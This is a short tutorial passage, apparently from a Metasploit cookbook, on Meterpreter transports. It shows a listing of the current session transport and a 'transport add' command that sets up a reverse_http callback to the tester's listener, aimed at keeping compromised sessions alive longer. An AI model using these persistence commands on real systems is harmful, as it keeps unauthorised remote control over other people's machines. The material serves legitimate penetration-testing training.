Meterpreter transports

The transport command allows you to add a new transport to your current sessions with reverse_tcp and reverse_https as the top favorites. Meterpreter offers you some other transports for you to choose from.

How to do it...

1. Before starting to add new transports, we will use the transport command with the -h flag to display the help menu for the command:

2. To list the current active transports, we can use the transport command with the list option:

meterpreter > transport list
Session Expiry : @ 2017-11-23 16:11:07

ID Curr URL Comms T/O Retry Total Retry Wait
-- ---- --- --------- ----------- ----------
1 * tcp://192.168.216.5:4444 300 3600 10

3. Adding new transports allows Metasploit to keep the sessions alive for longer. To add a new transport, we can use the transport command followed by the transport mechanism we are using:

meterpreter > transport add -t reverse_http -l 192.168.216.5 -p 8080 -to 500 -rt 30000 -rw 5000
